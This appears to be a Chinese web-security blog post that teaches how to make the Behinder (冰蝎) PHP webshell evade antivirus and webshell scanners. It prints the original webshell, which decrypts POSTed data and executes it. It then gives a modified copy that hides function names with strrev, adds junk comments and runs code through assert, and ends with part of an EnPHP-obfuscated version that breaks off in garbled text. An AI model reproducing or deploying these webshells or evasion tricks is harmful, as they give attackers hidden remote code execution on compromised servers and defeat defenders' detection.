位置:首页 > 安全分类 > WEB安全

冰蝎webshell免杀(奇淫巧计)

  • 2022-05-23 13:00:45
简介 因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该

前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....

先说一下目前的免杀情况:

D盾,河马等都零警报,

vt全绿,

阿里云webshell查杀安全,

百度webshell查杀安全,

其他等等....

目前仅测试了这些....其他的自行测试。

文章开始:

首先看一下冰蝎的原版马子:

@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

看一下原版的查杀率:

再看一下百度的接口:

阿里:



河马,D盾:



基本上都被杀软标记了....

那么我们想用冰蝎的话,就必须要免杀了

先说一下免杀的思路:

对于静态免杀,主要便是混淆代码了,base64,hex,异或等等....

反正思路要扩展起来,可能很多师傅是玩ctf的,我没玩过.....像里面的凯撒密码....等等各种密码学的东西其实可以搬到免杀的思路上来,但是像base64等等....可能早就被杀软计入特征库了,所以用base64等简单的加密,对webshell免杀可能不太好使了,

那有没有简单些的方式达到静态免杀呢?

答案是肯定的....

比如php的字符串逆置函数strrev(),可以将代码颠倒顺序,再在webshell里面加入注释,变量名称改改....使用一些php的魔术函数....以达到绕过杀软的静态防护。

我们将webshell放到d盾查杀....

看看到底是哪部分代码导致被查杀....[做个免杀的师傅应该都知道特征码定位技术,定位特征码,修改特征码绕过杀软]。

这里各位师傅自己尝试吧,建议二分法尝试,或则根据自己的经验判断。

我这里对下面部分代码进行逆值颠倒:

/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
session_start();
    $ok="1989870a9753c7b3";//cwk
    $_SESSION['k']=$ok;
    $zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
    $love=15;
    if(!extension_loaded(strrev('lssnepo')))
    {
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        $t=strrev("edoced_46esab");
        $zyq=$t($zyq."");
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        for($i=0;$i<strlen($zyq);$i++) {
            $o= $ok[$i+1&$love]^$zyq[$i]; 
            $zyq[$i] =$o;
        }
    }
    else
    {
        $zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);
    }
    $arr=explode('|',$zyq);
    $func=$arr[0];
    /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
    $suansuan=$arr[1];
    class MOL{
        public function __construct($p) 
    {   
        $a=null;
        $l=null;
            /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");
        }
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        }
    @new MOL($suansuan);    
?>
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/

这里就是简单的改了一下变量名称,增加了一些注释,还有魔术函数....

可以看一下D盾,河马过了


至于百度那个还有阿里云.....:


果然它们还是很强....

怎么办呢?

到这一步,对于我这种小白而言,已经穷途末路了.....

但是我们还可以借助外部力量....

之前代码审计的时候,发现很多代码都进行的加密...但是程序依旧可以运行,所以我们可不可以对我们的webshell进行加密呢?

当然肯定的....随便在网上找找免费的加密网站...

https://enphp.djunny.com/

把能勾的全都勾了...


进行加密处理:

加密之后的webshell:

/*
ddsds

-- EnPHP v2: http://enphp.djunny.com/
*/goto 愉帻;悈岽:$?禈=0x0f;goto 佽乒;廷迹:class MOL{public function __construct($蚱岊){goto 榈蚨;榈蚨:$咜孟=null;goto 堥崍;悉ψ:溹唤(0x00000216a,0x02143)(溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱).$挃啚.$蚱岊.$咜孟.((parse_str("",$毇蒿)||$毇蒿)?base64_decode(key($毇蒿)):"").溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱));goto 稗?;堥崍:$挃啚=null;goto 悉ψ;稗?:}}goto 沫瞅;?桷:if(!($仌弲<旞馨(0x000164b,0x01658,0x00161d)($夝麈)))goto 忟?;goto 	   	  
      

很赞哦! (119)